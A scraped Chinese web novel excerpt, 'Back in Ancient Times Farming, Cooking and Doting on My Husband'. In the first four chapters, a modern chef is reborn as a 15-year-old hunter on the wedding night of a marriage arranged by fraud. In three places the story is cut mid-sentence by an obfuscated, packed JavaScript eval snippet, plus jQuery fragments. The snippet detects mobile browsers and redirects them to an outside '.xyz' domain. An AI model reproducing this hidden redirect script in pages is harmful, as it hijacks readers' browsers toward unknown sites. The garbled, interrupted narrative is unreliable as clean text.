《穿回古代种田做饭宠夫郎》 1. 成婚夜被匕首威胁啊 长明村,燕程春家。 红纸落地,鞭炮声灭,一场朴素的成亲仪式刚刚结束。 宾客离席,仅剩几位长辈正在门口叮嘱今日成亲的主人公燕程春小郎君。 “春小子,都成亲了,就好好过日子。” 村长为了参加燕程春的成亲礼,今日特意穿了崭新的衣裳,现在他拍拍燕程春的肩膀,嘱咐他不能因为自个儿夫郎大他十岁就看轻了人家。 “人家一个二十好几的大人,愿意嫁给你这没长大的皮小子,很不错,很不错啊。” 村长看着燕程春稚嫩的脸庞,一片感慨:没想到春小子十五岁就成亲了,虽然夫郎年纪大他不少,但正好可以和年纪小的春小子有个帮衬,也不失为一段好姻缘! “村长放心,我会好好待他的。” 燕程春乖巧扮演一个十五岁的少年,笑得眉眼弯弯。 他送走絮絮叨叨的村长和长辈们,这才靠在粗糙的门板上长舒一口气,无力感瞬间席卷全身。 半小时前他燕程春还是一个现代人,在自己的厨房里研究新菜,半小时后就因为熬夜猝死来到了这个陌生的朝代,成为了一个陌生的古代人。 被他上身的原主没有昏迷,没有受伤,只是一眨眼,一个呼吸间,他就变成了现在的‘燕程春’。 太荒谬了,荒谬到没有逻辑可言。 燕程春揉揉额头,现在容不得他休息,他身后,一门之隔,还有一个没有处理的大麻烦。 燕程春推开门,房间内是古色古香的农家装扮。 这座普通的土房上挂着几块红绸布,窗户与墙面还贴着一个大大的‘囍’字,另一边的床炕则铺着新造的大红被褥。 这是一间婚房。 此时的燕程春,穿着最常见的古代民间婚服,瓷白里衣打底,外套鲜红宽袖大袍,袖边还有邻居阿婶绣的鸳鸯花纹。 他在成亲。 只是燕程春并没有寻常新郎那样在享受洞房花烛夜——他的新婚妻……新婚夫郎,正躲在床炕上,用一根尖锐的发簪对着自己的脖子。 看到燕程春进门,这位新婚夫郎握着发簪又往前进了一寸。 “莫动,不然我立刻死在这里!” 新婚夫郎目光灼灼地看着燕程春,容颜璀璨,黑发如瀑,还穿着大红的嫁衣,整个人仿佛一团正在燃烧的火苗。 燕程春被这团火烧得有些头晕,眼见那人的脖颈已经被划出浅浅的血线,他更头疼了,“你先把发簪放下来。我于你没有威胁,反倒是你现在要是出了事,明天我就要被官府抓起来了。” 姜幸想到燕程春被关起来的样子,心下有些不忍心,但想到自己的情况,又把那点心软压下。 人为财死鸟为食亡,如今的境地,容不得他像以前那样心善了。 “你不要过来!”姜幸凌目看着燕程春,不让燕程春靠近一分。 他抿唇,若是可以,他也不想做这等用自己威胁别人的事情,只是……他也不想胡乱成为小少年的‘老妻’! 燕程春怎么说也说不动姜幸,气氛一下陷入焦灼。 燕程春目前所在的地方,确实是一个古代时代,名叫大昭。 大昭不属于他熟知的任何一个朝代,是一个被历史遗忘的朝代。 燕程春上辈子父母离异,双方都不要他,他便被姥姥和姥爷养大,在长辈们去世后,接手他们留下的美食手札,从小独立,独自闯荡。 十八岁那年,他在成人之际参加一档世界级的美食比赛,却惨遭评委羞辱,事后他把自己锁在厨房日以继夜地钻研厨艺,没成想最后因为多次熬夜最后猝死穿越,来到同名同姓的‘燕程春’身体里。 而原身,正在成婚。 所以现在用发簪威胁他的人不是别人,正是和原身拜过天地的新婚妻子,姜幸。 结为姻缘本是一件喜事,身为猎户的原身,一心想给未过门的夫郎最好的一切,可没想到刚掀开盖头就被怒目的姜幸打了一巴掌,继而被赶了出去。 姜幸这个哥儿……并不想嫁给原来的原身。 “姜家与我说的亲事是三条街外的香客来酒楼的少东家。我到底为何嫁到了你这里,你又是如何将我掳来的?”姜幸咬着下唇,想问个明白。 “你先将发簪拿开。”燕程春指指脖子上的发簪,心中冷笑,面上却装作一派担忧之色,端的是人模人样,“大婚之夜手里还握着如此尖锐的发簪,即便是香客来的少东家,应该也无福消受吧?” “……你不懂我。”姜幸深知自己的身份是个哥儿,现在已经嫁给了对方,哪怕对方现在年纪不大,可他要做些不轨之事,自己之后也是无处可诉冤的。 燕程春看出姜幸的担心,哭笑不得,“我如今只有十五岁,于你有什么威胁?” 是的,原身虽然是猎户,但只有十五岁。 十五岁的年纪,有没有那个能力都不一定! “你是个男人……与我不同。”姜幸瞪了燕程春一眼,他是个哥儿,自然要担心自己的安危问题,眼前的小相公虽然只有十五岁,可他从小就在山林狩猎,那般大力气和高敏捷…… 燕程春揉揉额角,他知道姜幸的意思,大昭除了男人女人,还有个哥儿性别,虽是男儿身,却能孕育子嗣。 所以男女大防之外,男人和哥儿也要保持距离。 自然,女人和哥儿也要保持距离,毕竟哥儿和男人只有生育能力的区别。 “你放心,我对你没兴趣。” 燕程春的声音冷冷如珠玉,黑白分明的眼睛里透着真诚。 他穿越之前才十八岁,一心扑在继承上,情窦未开,虽然现在换了个身份,但也不会变成姜幸幻想中的禽兽。 “……”姜幸明明白白被十五岁的小相公表示自己不讨人喜欢,明媚的脸上染上羞恼的红晕,心里却是安定许多。 他慢腾腾挪开发簪,之前抬手时间太长,他都累死了。 燕程春发现姜幸有软和的迹象,他看过原主的记忆,连忙又解释,“我只是想和你说个明白,并非是我掳了你,也不是我抢亲。姜小哥,你的婚事……应当是被人骗了。” 燕程春站在原地,三下五除二将之前的事情告诉姜幸。 原主年纪小,却是个猎户,常年为福源酒楼送野味,与福源酒楼的大管家颇为熟悉,这门亲事便是福源酒楼的大管家介绍的。 大管家说他亲戚家有一哥儿,年纪颇大,还未成亲,家里着急得很,病急乱投医下就来问原主有没有成亲。 原主父母双亡,极度渴望家庭,可他也不傻,担心大龄还未出嫁的小哥儿是不是有什么隐患。 大管家却说小哥儿性格懒,还有些娇气,不爱劳作,就一张脸十分好看。 虽然小哥儿不是个坏心眼的,可他们都是小门小户的,娶一个漂亮却不会劳作的夫郎有什么用啊,这就导致小哥儿一直没嫁出去。 诶,偏偏这一点,是原主最不在意的。 原主的亲生父亲是当兵的,从小便教他武艺, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583524|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来战乱四起,父母出事皆亡,他五岁那年与逃难的流民一起来到长明村落户,随后便跟着村子里的长辈一起上山打猎。 十年过去,原主没有田地,家境并没有多富裕,但也不会饿着。 原主平时不声不响,物欲不高也没有修缮过家里的土房子,众人就都以为他是无父无母的穷苦孩子。 于姻亲一事,原主不要求自己未来的夫郎或者妻子有多么大的本事,只要妻子夫郎愿意和他组成一个小家,他便满足了。 原主觉得自己年纪尚轻,又有一把子力气,养活一个妻子夫郎足够,所以在跟着大管家相看过那个漂亮却懒惰的小哥儿之后,同意了这门亲事。 燕程春讲完一切后,感慨道:“他……我是说我,虽未与夫郎相处过,但我是真心求娶。在定下日子后便置备了许多新婚要用的东西,还与邻居亲朋讨了好些过日子的经验,就希望夫郎过门后能过得舒心。” 原主并不知道他要娶的是谁,他和大管家介绍的那个‘小哥儿’也只远远见过一次,连模样都没看清,只是原主太渴望有一个夫郎了,所以在知道要成亲后,便把那个幻想中的夫郎放进了心中,细心地为他准备一切。 姜幸怔怔地听燕程春的解释,手里攥着自己的嫁衣,不停绞动。 他身下压着的是新款的锦被,上面还绣着寓意十分好的花样,一看便是刚做的,周围土房虽然简陋,可并没有漏风和破损处,他的炕边小桌上还摆着一束嫩黄色的小野花,被风吹着摇摇晃晃,十分可爱。 这一切的一切都足以证明,他真的想岔了……老天爷啊,他刚刚还打了自己的‘相公’一巴掌,即便燕程春是个好脾气的汉子,被新婚夫郎如此羞辱,他还能讨得好吗? 姜幸顿时有些不知所措,不知道该如何面燕程春。 他明亮的眼睛蓄起水雾,又小心翼翼地看向燕程春的脸颊,含羞带悔,“对……对不住,方才还打了你一巴掌。可还疼?” “嘶——”燕程春摸摸自己的脸,打的是原主,可现在承伤的是本人……荒唐! 不过这点小伤却不是什么大问题,“不碍事。” 燕程春虽然只有十五岁,但体态修长,俊俏灵动,若是没有脸上的红印子,当是一个十分出彩的少年。 姜幸在身上摸来摸去,最后从腰封中摸到一个瓷瓶,从中抠了一点在指尖捻开,一瘸一拐来到燕程春面前,握住燕程春的手腕,将指尖的药膏轻轻抹到燕程春挨打的侧脸,黑色眼眸中尽是认真,“方才是我太紧张了,实在对不住。” “这药膏是我从家中带来的,是治愈伤痕的良药,明儿就会消下去了。” 燕程春年纪小,发育也慢,现在并不如姜幸高,姜幸便低着头为燕程春抹药。 燕程春嗅着姜幸身上的花香味,鼻尖发痒。 姜幸的药膏冰冰凉凉,涂着十分舒服,他没有拒绝,只闷声问道:“你的腿怎么回事……真的瘸了?先天的?” 刚才姜幸奔过来的时候就一瘸一拐的,莫不成真是个瘸子? “之前酒楼重新修缮,我被掉落的铁锤砸伤了腿。不碍事的。”姜幸在紧张情绪缓解后,终于意识到他与燕程春之间的差距,燕程春是男人不假,可他只有十五岁,而自己却已经二十有五,足足大这小相公十岁。 这……这分明就是兄弟的年纪,哪能做夫妻呢! 姜幸腹诽姜家的不靠谱,细心抹过燕程春脸上每一道红痕,务必要让药膏涂满所有角落,恢复燕程春的好容颜。 2. 事已至此,吃个面吧 “成亲之前伤了腿?”燕程春冷漠嗤笑,“你忘记了?我是个猎户,家中无父无母,你瘸着腿嫁与我,不仅不能帮扶家里,我还要额外照顾你。时间一长,焉能对你有好脸色?” 原主是个猎户,就算再怎么渴望家庭,若是夫郎瘸腿,也要掂量掂量。 姜幸一个瘸腿嫁过来,行动不便的情况下肯定要成为原主的拖累,他本身就肩不能提手不能扛,再加上瘸腿,原主再好的脾气也不一定能坚持多久。 “……”姜幸想到燕程春说的那种可能,他一个小哥儿,若是夫家不喜,定是不能得好,面色又开始发白。 “好了好了。” 燕程春感觉自己脸上被涂了厚厚一层药膏,黏腻的要命,忍不住抓住姜幸的手,让他停下来。 姜幸的皮肤滑腻如玉,一看便知是从小不干活养大的,燕程春的双手却因为从小劳作和握弓箭,留下厚厚一层老茧。 粗糙的老茧撞上如锦缎的葱指,姜幸下意识摩擦了两下,指尖有些被粗粝磨伤的感觉。 燕程春没谈过恋爱,也没有和谁有过亲密接触,姜幸的举动,让他全身起了鸡皮疙瘩。 “你做什么!” 他猛地往后一撤,拉开与姜幸的危险距离,黑白分明的眼睛定定看着姜幸。 “我在给你抹药啊。”姜幸看燕程春长得好,忍不住刮了刮燕程春抹药的脸庞,温软笑道,“燕小郎君如此好颜色,要是因为我留下伤痕,那我可要一头撞死了。” “你是个哥儿。”燕程春皱眉,“刚才不还担心我对你行不轨之事?现在竟然……竟然帮我抹药?” 这么快就转变心态,这哥儿心也太大了吧。 “可郎君才十五岁。”姜幸捂着嘴角偷笑,娇态憨憨,再次道歉,“对不住对不住,方才是我太紧张了,不应该那样揣测你的,实在对不住。” “……”燕程春觉得诡异,对方在道歉,他没有被当成登徒子,应该高兴才是。 可姜幸这态度,分明是觉得他是个小孩,是在说他那方面不行啊,现在是说他行不是,说他不行也不是……真是懊恼。 “罢了,你还是与我说说你的事情吧。”燕程春决定还是先搞清楚他们俩的婚事。 姜幸:“我——” 不知是谁的肚子响了一声,在这空旷的喜房中分外惹人在意。 姜幸抿唇,红着脸恶人先告状,“不是我。” “……”燕程春挑眉,明明就是这个小哥儿饿了,饿了就饿了,这是什么丢人的事儿么? 姜幸咬着下唇,心思简单的很:他刚和这人闹了一场,现在肚子咕咕叫,岂不是让这人看笑话,这让他嫡少爷的面子往哪搁? 燕程春摸摸肚子,原身闹了那一场其实也有点饿了,人饿了思考能力就会下降,还是先填饱肚子再说。 “闹腾了一夜,我饿了。” 说罢,便往灶房走去。 燕程春点上火烛,借着光看到灶房所有需要的东西都一应俱全。 原身虽然年仅十五岁,却是真的想要娶妻,所以提前置办了许多婚后要用的东西,想和心上人安安稳稳地过日子,现在这些东西倒是便宜燕程春了。 时下是刚刚入夏的深夜,燕程春脱掉身上的宽袖大袍,里面是窄袖里衣和绑腿窄裤,有些不雅,但不会让袖子沾染油烟。 燕程春推开老旧的窗户,从窗户下面摸出来四个鸡蛋。 原主准备的东西很多,但夜已深了也不用开大火,燕程春觉得,随便炒个鸡蛋下碗面便是。 燕程春准备好杂面面粉,准备好鸡蛋,从满当当的水缸里舀出一瓢水,甘甜清冽的清水被倒入杂面面粉,在燕程春几下揉弄中,变成一个有劲道的面团,他将面团放好,等醒发的时候去点火烧热灶台上的锅子。 他上辈子会走路时就会抡锅铲,做个清水面对他来说小菜一碟。 面团醒好后,他用擀面杖碾成许多薄片,再切成细细的面条,一款简单版的手切面便成型了。 锅烧热,燕程春将做好的面条扔进去,在等面条煮熟的时候,他打散先前摸出来的鸡蛋,又在其中加入一缕盐和野菜碎,将鸡蛋和野菜碎搅到一起,等面条煮好了,他盛出来,倒入一层清油,拨弄两下鸡蛋,一盘更简易的野菜鸡蛋浇头就这样做出来。 原主虽然是猎户,但家境一般,小院里的灶房就在卧房旁边,鸡蛋的油香气顺着夜晚的柔风缓缓被送到卧房里,姜幸动动鼻尖,感觉自己更饿了。 燕程春去了灶房,照理说,姜幸如果不想嫁人,他现在就可以逃跑。 可是天大地大,他已经和燕程春登记在册,又能跑去哪里? 燕程春端着两碗面进屋的时候,就看到姜幸抱着自己的嫁衣大袖,像个小傻子似的坐在床上。 “给你做了一碗,过来吃饭。” 燕程春把碗筷放到桌子上,自己坐在一边,软乎乎的面条下肚,瞬间缓解了紧张的神情。 燕程春品着,感觉比自己之前做的还好吃,莫不是因为古代的东西没有添加剂,所以更原汁原味? 不过按照他家的食谱,这里还缺一味独家酱汁搭配,可惜了。 姜幸从小被伺候惯了,没觉得燕程春为他准备吃食有什么奇怪的,他捂着肚子,穿着宽大的嫁衣,一瘸一拐走过来,刚坐下就猛塞一口,顿时就被这碗鸡蛋面俘虏。 他不可置信地咀嚼着,“好劲道的面条,好香的鸡蛋卤。” 姜幸用筷子夹起面条仔细观察,面条根根分明,长短一致,宽窄一致,厚薄一致,可以说在形上完美无缺,放在嘴里后面香浓郁,劲道弹牙,面条上裹着的野菜鸡蛋更是鲜香无比,余韵悠长。 分明就是再简单不过的鸡蛋面,可为什么这样好吃? 这样一个小山村里,竟然还有小相公这样的食业高手?! “好香……”姜幸狼吞虎咽吃下一大碗面条,可越吃心里越难受,眼泪悄不做声地从眼眶中流出,滴落到桌面上。 燕程春怎么也没想到姜幸吃一碗面竟然吃哭了,他讶异道:“你还好么?怎么哭成这样。” 他生平第一次接触小哥儿这类性别,难道小哥儿都这么多愁善感,爱大幅度的情绪波动? 姜幸已经哭成‘猪头’,他胡乱抹掉脸上的眼泪,因为嘴里还塞着面条,只能语焉不详地说:“我娘以前就喜欢这么做面条,我每次都能吃好多好多……可我,可我已经一年没有吃到我娘做的面条了。” 他娘做面条的时候,总会单独为他加一份独家酱汁。 他真的好爱好爱娘亲,好爱好爱娘亲加了独家酱汁的面条。 可他的娘亲,竟然已经离开他一年时光了,只有他一人还在这世间,在姜家,受人生磋磨。 燕程春没想到自己做的面条,竟然有姜幸母亲的味道,他想到姥姥姥爷去世后,自己做的第一顿饭。 那顿饭用的都是姥姥姥爷生前特意为他留下的食材,吃下第一口,他也在上面吃到了姥姥姥爷的味道。 恍惚间,旧人好像仍在,时间也未曾远走。 可时光终究没有回溯的可能。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583525|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“莫哭了。”燕程春看着这样的姜幸,忍不住心软,用衣袖擦去他脸上的泪痕,“等我们解决婚事,你回去再找你娘吃她个十碗八碗。” “……”姜幸抽噎了一下,哭得鼻头泛红,眼眶泛红。 美人垂泪。 姜幸本就明媚漂亮的一张脸,现在更像一道樱桃奶冻,白皙甜香的奶冻里裹着烂熟的樱桃,散发着白里透红的莹润感。 燕程春必须承认,姜幸真是有一副好模样,哭笑皆美得惊艳。 姜幸缓好自己的情绪后,咬着嫣红的下唇说:“我……原先就是福源酒楼的少东家,我定的亲事……是香客来酒楼的少东家,我与他从小相识,我原以为……原以为……” “今日我不知怎的,昏昏沉沉,刚上了轿子便睡着了,再醒过来时我盖着盖头,看不清周围的模样,扶着我的喜娘说吉时已到,我便稀里糊涂拜了堂,直到你揭开我的盖头,我才发现,我竟嫁给了一个我从未见过的人。” 姜幸说到这里,十分酸苦,不认识也便罢了,面前这位小相公只有十五年龄,可他已经二十有五了,整整十岁的差距,少夫老妻,让他如何自处。 燕程春屈指敲了敲桌子,思索片刻,“也就是说,你我的婚事搞错了。” 这可麻烦了,他们已经拜了堂,那香客来的少东家一听便是个少爷,在这样封建的古代,他还会接受姜幸吗? “……”姜幸没有那么乐观,他想到一种可能,心里渐渐发冷。 燕程春只以为他们的婚事是搞错了,可他却觉得,他是被故意送到燕程春这里来的,什么香客来酒楼的少东家,现在的姜家,根本不可能会让他有这么好的亲事! “怎么?还有别的事?”燕程春本以为这样就是真相,可面前的姜幸兀自咬着下唇肆虐,让一双嫣红的唇瓣红肿不堪,一看便是还有内情。 姜幸深呼吸,现在已然到了这个地步,再藏着掖着也没意义了,而且这个燕程春,不像那等不讲理之人,或许……坦诚一些,会更好。 “我……”姜幸又开始咬下唇,似是察觉不到痛似的,任由牙齿反复磨过柔软的唇瓣,仿佛自虐。 “我父母是省府姜家的庶子,后来单独开府,在镇子上开了福源酒楼。半年前遇到了山匪,不幸去世。我大伯接管了福源酒楼和姜家,大伯此人与我从未接触过,所以也没什么情谊可言。” 燕程春愣了,“你娘……” 竟然已经去世了? “嗯。”姜幸点点头,“已经去世一年了。” 所以他再也吃不到娘亲做的面条了。 别说燕程春不知道姜幸的情况了,原主都不知道,他方才还说让姜幸回去找他娘,实在是……“对不住。” “无碍,你又不知情。”姜幸笑笑,继续说他家的情况。 姜幸父母是从姜家大族独立出来的一支,当年姜父与姜母自由恋爱,但姜母家境不好,姜家族里不同意,姜父便自请独支,和姜母不上族谱,单开一族。 姜母虽然家境不好,但做得一手好菜,而且姜母家中就是做吃食的,靠着姜母的菜谱,姜父姜母创立了福源酒楼,且生育了姜幸。 姜幸是个被宠大的哥儿,会做饭,却不精通,若是父母没有出事,他大可以继续做他不食人间烟火的少东家。 只是姜父姜母遇到山匪,双双遇难,他一个哥儿独木难支,姜家大伯赶来帮他处理丧事,稳定了局面,然后顺手窃取了福源酒楼的大权。 姜幸无力对抗,只能守着父母留给他的小玩意,变成姜家的透明人。 3. 原来是个惨夫郎 但姜幸也不是完全没脑子的小哥儿,他知道目前的情况应当早日脱离姜家,他便找到了曾经的友人,也就是香客来的少东家,商量着助他离开姜家。 香客来少东家提议用假成亲骗过姜家,离开姜家后,海阔天空,姜幸去哪都可以。 姜幸同意,却没想到花轿最后把他送到了燕程春这里。 姜幸移开目光,白皙的脸面好像覆上一层红红的果浆,再次诚恳致歉,“所以掀开盖头时,我一时情急,误以为你是家中派来劫婚的登徒子……对不住。” 燕程春也算饱览各种狗血小说的书虫,听到这里,他大致明白了其中缘由。 “我就说么,我不过十五岁的村汉子,有什么值得被福源酒楼的大管家看上的。”燕程春想到原主的兴奋和感动,忍不住自嘲,为原主可惜,“那大管家与你那姜家估计是一伙的,先是诓骗我娶妻,后又以香客来少东家的婚事骗你自愿出嫁,这样就可以免去落人一个苛待哥儿的口实。” “然后在你出嫁路上,偷梁换柱。最后就变成你我拜堂。” 姜家大概以为原主家中无父无母,又无田地,真就是一个家境贫寒的村汉,觉得姜幸若是嫁过来,一定会过得十分凄苦。 可惜了,他们没有打听好原主的人品。 在燕程春看来,原主人品堪称上佳,即使他没有穿越,原主也不会做强迫姜幸的事情。 “应当是如此。”姜幸再蠢笨也明白过来,自己被友人骗了,心中愈发酸苦。 若只是被姜家陷害,他早已习惯,可如今又被友人背叛……他面上渐渐褪去血色,形容凄惨哀怨,不明白为何相识多年的友人会如此待他。 燕程春还有些不解,“听你说,你们姜家应当是一个大家族,你那大伯为何一定要你家的福源酒楼?” 从原主的记忆中看,福源酒楼虽然生意好,可也只是一个小镇子上的酒楼,姜家如果是一个大家族,为什么这么在意一家小小的酒楼? 姜幸撑着下巴叹气,黝黑的眼睛清凌凌地看向燕程春,“是因为陛下。” 提到陛下的时候,姜幸消去声音,对着皇城根的方向拜了拜,燕程春瞬间领悟他的意思。 “再有两年就是老太后的七十大寿,那位想办一个漂亮的老君万寿宴,从两年前便开始搜罗天下厨师和秘方,谁若能献上,那便是得了帝王青眼。” “因着陛下这番行为,民间也开始兴起食业之道。” “姜家有不少儿郎都想入仕,姜家便想借此机会攀上一个好途径,他们想到我母亲的家传秘方,便来索要,只是家中父母不愿意掺和这种事情,多次婉拒。” “天下有才之士如过江之鲫,你那母亲……姜夫人的秘方,为何就一定可以?”燕程春问道。 姜幸叹气,“之前几年频频有动乱起义,不论是食业,技业,都有不少大师殒命于战乱中,各家传承都断了代。现在即便有活下来的师父,现在也鲜少愿意与皇家打交道。我母亲的做菜手艺是家传渊学,做出来的福源酒楼便是依靠菜色声名远播。目前是姜家最能掌控的一条路子。” “原来如此……匹夫无罪,怀璧其罪。”燕程春捏着一个杯子,想到自己现代家中的情况,神色莫名。 他家的厨艺技巧也是一代一代传承下来的,只是父母志不在此,就都没接下姥姥姥爷的东西。 于是从他接手开始,各方人士都看着他,想看他会不会埋没这份老祖宗的礼物。 现在所有事情都已经说开,他们二人也已经找到了错嫁的缘由,燕程春觉得不能坐以待毙,开始收拾碗筷,“天色不早了,先休息,明日我与你去镇上看看。” 他倒要看看这个姜家和香客来的少东家后续要做什么。 姜幸听到要去镇上,并没有很开心,他扭着袖子,看着上面的鸳鸯绣样,小心翼翼地看着燕程春,眼里写满忐忑不安,“……你……郎君是否要退婚?” 虽然他们的姻缘是月老搭错线的,可他们已经拜堂成亲。 在官府名册上他就是燕程春的妻,若是燕程春要退婚,他也没有劝说的资格……只是那样,自己就要做被人非议的小哥儿了。 燕程春最受不了被人哀求,他摸摸后颈,“你我的婚事……太荒唐了。” 虽然他们拜了堂,但是一个娶错了人,一个也嫁错了人,错乱的姻缘线有何要留下的理由? “……”姜幸似乎还要说话,可燕程春已经收拾好碗筷,打着哈欠分出两个被窝。 他咽下喉中的话,听话地与燕程春分被而眠。 燕程春累得慌,沾上枕头便睡着了。 姜幸心思散乱,无法入眠,他痛苦地抱着被子,哀怨无比。 他不明白上苍为什么这么不喜欢他,为何要让自己这样娇生惯养的小哥儿遭受这些,如今,他大概要因为这些纷乱的思绪,睁眼到天亮了。 第二日,燕程春因为原主的健康作息,被迫早醒。 一睁眼,就看到身旁的姜幸头埋在被子里,睡得脸色通红,好像还在打小呼噜,一看便是睡得喷香。 燕程春捏捏眉心,哭笑不得,这小哥儿确实心大,适应能力也强,在哪都能吃能睡。 燕程春看看时辰,现在应当是早上五点钟,原主这个时候都会起床去院子里锻炼,现在换成了燕程春,他决定保持下去,毕竟锻炼身体对他也好。 运动是最好的思考搭档,燕程春一边打拳一边思索自己日后的生活。 既来之则安之,原主送给他一副健康的体魄,还有舒适的生活环境,他不能辜负这份心意。 既然已经变成古代的燕程春了,继续上山打猎也好,重操旧业去酒楼做大厨也好,他怎么也能把日子过下去。 现在最大的难题就是屋里睡得像猪的姜幸。 一个嫁给他的小哥儿,身世还那般复杂,该怎么处理才好? 燕程春不是什么都不懂的人,虽然这门婚事有些乌龙,可姜幸是实实在在和原主拜过堂掀过盖头的,他既然要了原主的身体和生活,就不能随便撒手不管。 在这样封建的古代,一个‘离过婚’的小哥儿会有什么结果,他不用想也知道。 可若是留下姜幸…… 燕程春想着昨夜和姜幸的相处,觉得姜幸不是个坏人。 自己从小就住校,和一大帮子同学一块生活,留下姜幸无非就是家里多一双筷子。 和一个小哥儿过集体生活……应当也不会太别扭? 这点上,燕程春和原主态度一样,虽然他们年纪小,但都自觉能撑起一个家。 只是这样的话,姜幸这个小哥儿便真的成了他名义上的妻。 他担心在这个时代,一旦身份被束缚住,日后要做什么都不方便。 不过他想这么多也没用,留或不留,这等事应该让姜幸自己做决定才是。 燕程春在院子里想着原主的锻炼方式,再辅以现代的健身体操,狠狠出了一把子汗。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583526|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 古代没有淋浴设备,原主要洗澡就在院中用一瓢水冲刷自己的身体,燕程春看着这幕天席地的,有些羞涩,但往后他就要在此生活,还是得习惯。 燕程春脱了上衣,露出原主精壮的身体,一瓢凉水浇到身上,瞬间凉得燕程春龇牙咧嘴,这古代凉水澡,不好洗啊! 燕程春穿好衣服,又去灶房。 天明了,他才借着清晨的明亮看清整个灶房的构造,整个房间很像他记忆中姥姥姥爷的农村灶房,墙面上逗挂着一些已经风干好的肉,旁边有一个菜筐,放着许多买好的蔬菜瓜果。 燕程春摸摸自己的脸,原主虽然年纪小,却很认真的在经营自己的生活,是个很好很好的孩子。 他的穿越并不建立在原主出事的基础上,如果有可能的话,燕程春衷心希望原主能有新的际遇。 原主不仅买了蔬菜瓜果,还有一些被保存起来的面饼子。 面饼子都是最基础的面饼子,除了面没有别的东西,但这样吃起来方便,想来是准备带去上山的干粮。 燕程春掏了四个面饼出来,用刀从中割开,用来做古代版鸡蛋夹馍的馍。 昨夜留下的鸡蛋卤还有一些,燕程春点火加热,又重新炒了一遍,炒入味以后直接放到劈开的面饼中。 主食有了以后,燕程春又捡了几根青菜,辅以鸡蛋做了一锅清蔬鸡蛋汤。 在等汤熬熟的时候,燕程春去院中做了个人清洗。 而这时,屋内的姜幸也幽幽转醒,他看着熟悉的屋顶,非常不可置信。 昨夜他明明在哀婉流泪,心痛自己的坎坷经历,如此痛彻心扉的心境,他应该睁眼流泪到天亮才是,可事实上,他还没多想一刻钟,他就已经昏睡过去,直至现在才醒。 …… 现在才醒。 姜幸猛然坐起来,外面天光大亮,透过窗户看去,院中还有一个挺拔的身影在舀水梳洗,而燕程春的被窝,早就被他收拢好放入柜中。 姜幸来不及换衣服,只着寝衣的情况下,披着昨夜脱下来的喜服大袍,散着一头如瀑青丝急急忙忙朝外奔去,眼中急切仿若要哭出来似的,自己这是睡了多久啊,自己怎么能刚嫁人就睡得像猪一样呢,若是遭了燕程春嫌弃,他该如何做! 燕程春一转身,便瞧见姜幸向他跑来,小哥儿步伐迈得大,两侧衣袖被他甩的飞起,像那振翅而非的蝴蝶。 燕程春感觉姜幸是朝自己来的,他连忙向旁边一避,果然避开了姜幸。 “相……燕程……燕小郎君,对、对不住,我起晚了……”姜幸并不知道一个新嫁夫郎该做什么,他只想赶紧站到燕程春身旁去,好让燕程春知道,他不是那等睡到日上三竿的坏哥儿。 燕程春歪头不解,“你跑这么快做什么,打算把我撞死,谋杀亲夫?” “我,我睡过头了,郎君,对不住。”从卧房到院中不过几步路,但姜幸还是气喘吁吁,不知是跑得还是紧张得。 “这有什么?”燕程春眨眨眼,“你知道大管家和我说亲的时候,是怎么形容你的吗?我早就做好心理准备了。” 姜幸愣住了,“他怎么、怎么说的?” 燕程春摇摇手指,憋不住笑说,“他说你又懒又馋,什么都不会,什么都没有。” “什么!”极度好面子的姜幸好像被人踩了尾巴一样,脸色瞬间涨得血红,气愤道,“他这是诋毁!” “我明明……我明明还有一张好容颜在呢!” 4. 心跳的声音 “哈哈。他也讲了,他说你长得顶好顶好。”燕程春没有再继续逗弄姜幸,而是顺手帮姜幸准备好洗漱的东西。 以前住宿舍的时候,他常常这样照顾他的舍友,已成习惯。 燕程春把东西递给姜幸,抬眼看姜幸的面庞,再次认真地认证大管家的审美,“嗯,确实好看。” 他上辈子鲜少见到这样好颜色的男生,没想到原主误打误撞还娶了个漂亮媳妇呢。 “……”姜幸摸摸自己的脸颊,被人夸长得好,实在让他难掩欣喜。 这位小相公的眼光太清明,里面不含一点玩弄之意,就更让他高兴了。 燕程春去灶房端了早食出来,姜幸便留在井边洗漱。 院中一口井,便是原主家的水源,姜幸站在井边,这里有燕程春已经打好的一桶水,他借着这些水理顺了自己的头发,又洗了脸。 姜幸拆解头发时拆下来一些珠钗发簪,他看着手里做工精致的发簪和珠钗,目光深沉晦涩。 这是他出嫁时姜家准备的东西,现在……他转身看看周围低矮的土墙和看不到边际的田野庄家,应当是用不到了吧。 姜幸默默把这些惹眼的东西收起来。 燕程春再看到姜幸的时候,就是一副美人不施粉黛的模样。 